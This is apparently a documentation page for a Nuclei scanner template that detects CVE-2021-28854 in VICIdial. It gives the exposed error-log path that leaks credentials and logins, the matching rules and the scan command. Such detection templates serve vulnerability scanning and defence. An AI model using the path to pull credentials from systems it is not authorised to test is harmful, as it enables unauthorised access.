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VICIdial Sensitive Information Disclosure

ID: CVE-2021-28854

Severity: high

Author: pdteam

Tags: cve2021,cve,sqli

Description

Section titled “Description”

VICIdial’s Web Client is susceptible to information disclosure because it contains many sensitive files that can be accessed from the client side. These files contain mysqli logs, auth logs, debug information, successful and unsuccessful login attempts with their corresponding IP’s, User-Agents, credentials and much more. This information can be leveraged by an attacker to gain further access to VICIdial systems.

YAML Source

Section titled “YAML Source”
id: CVE-2021-28854


info:
  name: VICIdial Sensitive Information Disclosure
  author: pdteam
  severity: high
  description: VICIdial's Web Client is susceptible to information disclosure because it contains many sensitive files that can be accessed from the client side. These files contain mysqli logs, auth logs, debug information, successful and unsuccessful login attempts with their corresponding IP's, User-Agents, credentials and much more. This information can be leveraged by an attacker to gain further access to VICIdial systems.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, such as user credentials or customer data.
  remediation: |
    Apply the latest security patches and updates provided by VICIdial to fix the vulnerability and ensure sensitive information is properly protected.
  reference:
    - https://github.com/JHHAX/VICIdial
  classification:
    cve-id: CVE-2021-28854
  metadata:
    max-request: 1
  tags: cve2021,cve,sqli


http:
  - method: GET
    path:
      - "{{BaseURL}}/agc/vicidial_mysqli_errors.txt"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'text/plain'
        part: header


      - type: status
        status:
          - 200


      - type: word
        words:
          - 'vdc_db_query'
        part: body
# digest: 4a0a004730450221008ebb3434d60c2d6352a0fe6be920c22f6e8398a8e3cfe2ee74e9c001e78c9c9802201fad7e92c5a4153d1164a624d373f39508da0df27b510f797e91411c940097b2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-28854.yaml"

View on Github